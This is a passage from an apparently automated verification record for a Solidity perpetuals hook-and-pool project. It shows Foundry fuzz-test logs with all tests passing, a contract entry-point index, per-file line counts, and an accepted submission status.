Bound result 5044\n  Bound result 999999999100000001\n  Bound result 999999999000013879\n  Bound result 999999999000012227\n  Bound result 80\n  Bound result 5\n  Bound result 1575\n  Bound result 36404319186301608\n  Bound result 999999999000000256\n  Bound result 771829688757198487\n  Bound result 3000000\n  Bound result 92240510829748332\n  Bound result 247556822139072985\n  Bound result 95\n  Bound result 14481\n  Bound result 11863\n  Bound result 7000\n  Bound result 3672\n  Bound result 12340\n  Bound result 5\n  Bound result 999999999000\n  Bound result 999999999000004834\n  Bound result 13445\n\n[PASS] test_HandlerExercisesSuccessfulValueFlowsAndRecovery() (gas: 3284585)\nLogs:\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 10000000000000000\n  Bound result 10000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 100\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.87s (2.86s CPU time)\n\nRan 13 test suites in 2.87s (4.34s CPU time): 87 tests passed, 0 failed, 1 skipped (88 total tests)\n","passed":true},{"durationMs":52,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setBand(uint256)\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setCurve(address)\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.sweepIdle(address,address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":100,\"README.md\":132,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":492,\"src/IMD6900PerpPool.sol\":295,\"src/IMD6900PerpsLaunch.sol\":76,\"test/AuditFixes.t.sol\":153,\"test/HookFailurePaths.t.sol\":367,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":147,\"test/LaunchAuditFixes.t.sol\":338,\"test/PerpsCustody.invariant.t.sol\":359,\"test/PonsReference.t.sol\":285,\"test/PoolFailurePaths.t.sol\":381,\"test/RobinhoodFlow.fork.t.sol\":303,\"test/TESTING.md\":69,\"test/helpers/PerpsFixture.sol\":171},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d182eabf6d107a415ef78adad8a79b0285dd46ac7b4ae4deccc7695f63cb5693","verifiedTreeHash":"3f79d15489d07e59903ba35561768be4366dab96","verifierVersion":"0.1.0+fdeb4d4a"}]}